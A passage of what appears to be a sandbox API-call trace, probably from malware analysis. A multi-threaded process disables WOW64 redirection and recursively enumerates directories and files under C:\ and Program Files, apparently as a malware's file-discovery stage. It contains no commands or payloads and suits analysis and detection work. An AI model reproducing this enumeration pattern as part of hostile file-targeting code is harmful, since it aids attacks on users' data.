dwFlags=0x0, lpMem=0x3b33778 | out: hHeap=0x11a0000) returned 1 [0083.228] GetProcessHeap () returned 0x11a0000 [0083.228] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b33778 [0083.228] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VGX\\*", lpFindFileData=0x2fbed70 | out: lpFindFileData=0x2fbed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b59a78, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11b9f50 [0083.248] GetProcessHeap () returned 0x11a0000 [0083.248] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b33778 | out: hHeap=0x11a0000) returned 1 [0083.248] GetProcessHeap () returned 0x11a0000 [0083.248] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b33778 [0083.248] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\*", lpFindFileData=0x2fbed70 | out: lpFindFileData=0x2fbed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11b9f50 [0083.248] GetProcessHeap () returned 0x11a0000 [0083.248] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0083.248] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\*", lpFindFileData=0x2fbeae8 | out: lpFindFileData=0x2fbeae8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4aebd53e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aebd53e, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba1d0 [0083.249] GetProcessHeap () returned 0x11a0000 [0083.249] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b63790 [0083.249] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\*", lpFindFileData=0x2fbe860 | out: lpFindFileData=0x2fbe860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a6fdac8, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1fc, cFileName=".", cAlternateFileName="")) returned 0x3b8af08 [0083.523] GetProcessHeap () returned 0x11a0000 [0083.523] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b63790 | out: hHeap=0x11a0000) returned 1 [0083.588] GetProcessHeap () returned 0x11a0000 [0083.588] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0085.548] GetProcessHeap () returned 0x11a0000 [0085.548] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b33778 | out: hHeap=0x11a0000) returned 1 [0085.550] GetProcessHeap () returned 0x11a0000 [0085.550] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b22768 | out: hHeap=0x11a0000) returned 1 [0085.551] GetProcessHeap () returned 0x11a0000 [0085.551] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b22768 [0085.553] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\*", lpFindFileData=0x2fbeff8 | out: lpFindFileData=0x2fbeff8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba1d0 [0085.567] GetProcessHeap () returned 0x11a0000 [0085.567] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b22768 | out: hHeap=0x11a0000) returned 1 [0085.577] GetProcessHeap () returned 0x11a0000 [0085.577] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b22768 [0085.577] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\*", lpFindFileData=0x2fbeff8 | out: lpFindFileData=0x2fbeff8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11b9dd0 [0085.577] GetProcessHeap () returned 0x11a0000 [0085.577] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b32770 [0085.577] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*", lpFindFileData=0x2fbed70 | out: lpFindFileData=0x2fbed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0cb0a3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba1d0 [0085.769] GetProcessHeap () returned 0x11a0000 [0085.769] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b42778 [0085.769] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\*", lpFindFileData=0x2fbeae8 | out: lpFindFileData=0x2fbeae8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb2730, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1fc, cFileName=".", cAlternateFileName="")) returned 0x11b9f50 [0085.789] GetProcessHeap () returned 0x11a0000 [0085.789] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b42778 | out: hHeap=0x11a0000) returned 1 [0086.859] GetProcessHeap () returned 0x11a0000 [0086.859] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b32770 | out: hHeap=0x11a0000) returned 1 [0087.675] GetProcessHeap () returned 0x11a0000 [0087.675] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b42778 [0087.675] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\*", lpFindFileData=0x2fbed70 | out: lpFindFileData=0x2fbed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb3579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba1d0 [0087.998] GetProcessHeap () returned 0x11a0000 [0087.998] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b42778 | out: hHeap=0x11a0000) returned 1 [0087.998] GetProcessHeap () returned 0x11a0000 [0087.998] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b42778 [0087.998] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*", lpFindFileData=0x2fbed70 | out: lpFindFileData=0x2fbed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba1d0 [0088.072] GetProcessHeap () returned 0x11a0000 [0088.072] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0088.072] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*", lpFindFileData=0x2fbeae8 | out: lpFindFileData=0x2fbeae8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d805e9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b4c8 [0096.248] GetProcessHeap () returned 0x11a0000 [0096.249] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0099.290] GetProcessHeap () returned 0x11a0000 [0099.290] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b42778 | out: hHeap=0x11a0000) returned 1 [0099.291] GetProcessHeap () returned 0x11a0000 [0099.291] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3f10048 [0099.292] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\*", lpFindFileData=0x2fbed70 | out: lpFindFileData=0x2fbed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d8186d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba110 [0099.296] GetProcessHeap () returned 0x11a0000 [0099.296] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b32770 [0099.296] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*", lpFindFileData=0x2fbeae8 | out: lpFindFileData=0x2fbeae8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d8245b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x11ba1d0 Thread: id = 18 os_tid = 0x12b4 [0075.123] GetProcessHeap () returned 0x11a0000 [0075.123] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x38) returned 0x11b9c10 [0075.123] GetProcessHeap () returned 0x11a0000 [0075.123] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x18) returned 0x11b8930 [0075.123] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2f0 [0075.123] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2ec [0075.123] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2f4 [0075.123] GetProcessHeap () returned 0x11a0000 [0075.123] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x120fa68 [0075.123] GetProcessHeap () returned 0x11a0000 [0075.123] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x121fa70 [0075.124] GetProcessHeap () returned 0x11a0000 [0075.124] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x50) returned 0x11c5050 [0075.124] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x772d0000 [0075.124] GetProcAddress (hModule=0x772d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x772e6b30 [0075.124] Wow64DisableWow64FsRedirection (in: OldValue=0x347f984 | out: OldValue=0x347f984*=0x0) returned 1 [0075.125] GetProcessHeap () returned 0x11a0000 [0075.125] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c5050 | out: hHeap=0x11a0000) returned 1 [0075.125] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0xba54bf, lpParameter=0x347f98c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f8 [0075.125] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0xba54bf, lpParameter=0x347f98c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2fc [0075.126] GetProcessHeap () returned 0x11a0000 [0075.126] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x122fa78 [0075.128] FindFirstFileW (in: lpFileName="\\\\?\\C:\\*", lpFindFileData=0x347f700 | out: lpFindFileData=0x347f700*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xba572a, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x11b9d50 [0075.171] GetProcessHeap () returned 0x11a0000 [0075.171] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x123fa80 [0075.171] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\*", lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName=".", cAlternateFileName="")) returned 0x11b9c90 [0075.172] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="..", cAlternateFileName="")) returned 1 [0075.172] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Logs", cAlternateFileName="")) returned 1 [0075.172] GetProcessHeap () returned 0x11a0000 [0075.172] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x124fa88 [0075.172] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7, cFileName=".", cAlternateFileName="")) returned 0x11b9f90 [0075.173] FindNextFileW (in: hFindFile=0x11b9f90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7, cFileName="..", cAlternateFileName="")) returned 1 [0075.173] FindNextFileW (in: hFindFile=0x11b9f90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x542c8aac, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0xafe5f7a, ftLastWriteTime.dwHighDateTime=0x1d3273e, nFileSizeHigh=0x0, nFileSizeLow=0xa6b2, dwReserved0=0x0, dwReserved1=0x7, cFileName="downlevel_2017_09_07_02_02_39_766.log", cAlternateFileName="DOWNLE~1.LOG")) returned 1 [0075.174] FindNextFileW (in: hFindFile=0x11b9f90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x973abb0f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1774, dwReserved0=0x0, dwReserved1=0x7, cFileName="oobe_2017_09_07_03_08_57_737.log", cAlternateFileName="OOBE_2~1.LOG")) returned 1 [0075.174] FindNextFileW (in: hFindFile=0x11b9f90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x7, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 1 [0075.174] FindNextFileW (in: hFindFile=0x11b9f90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x7, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 0 [0075.174] FindClose (in: hFindFile=0x11b9f90 | out: hFindFile=0x11b9f90) returned 1 [0075.175] GetProcessHeap () returned 0x11a0000 [0075.175] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x124fa88 | out: hHeap=0x11a0000) returned 1 [0075.175] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="SafeOS", cAlternateFileName="")) returned 1 [0075.175] GetProcessHeap () returned 0x11a0000 [0075.175] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x124fa88 [0075.176] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7, cFileName=".", cAlternateFileName="")) returned 0x11b9d90 [0075.177] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7, cFileName="..", cAlternateFileName="")) returned 1 [0075.177] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9568f13f, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9568f13f, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x232c8, dwReserved0=0x0, dwReserved1=0x7, cFileName="GetCurrentOOBE.dll", cAlternateFileName="GETCUR~1.DLL")) returned 1 [0075.177] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956819aa, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x956819aa, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x9c, dwReserved0=0x0, dwReserved1=0x7, cFileName="GetCurrentRollback.ini", cAlternateFileName="GETCUR~1.INI")) returned 1 [0075.177] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x54acc791, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0x54acc791, ftLastWriteTime.dwHighDateTime=0x1d3273a, nFileSizeHigh=0x0, nFileSizeLow=0x241, dwReserved0=0x0, dwReserved1=0x7, cFileName="PartnerSetupComplete.cmd", cAlternateFileName="PARTNE~1.CMD")) returned 1 [0075.177] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9575af11, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9577d1ec, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x4a, dwReserved0=0x0, dwReserved1=0x7, cFileName="preoobe.cmd", cAlternateFileName="")) returned 1 [0075.178] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x7, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 1 [0075.178] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x7, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 0 [0075.178] FindClose (in: hFindFile=0x11b9d90 | out: hFindFile=0x11b9d90) returned 1 [0075.179] GetProcessHeap () returned 0x11a0000 [0075.179] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x124fa88 | out: hHeap=0x11a0000) returned 1 [0075.179] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="SafeOS", cAlternateFileName="")) returned 0 [0075.179] FindClose (in: hFindFile=0x11b9c90 | out: hFindFile=0x11b9c90) returned 1 [0075.179] GetProcessHeap () returned 0x11a0000 [0075.179] HeapFree (in: hHeap=0x11a0000, 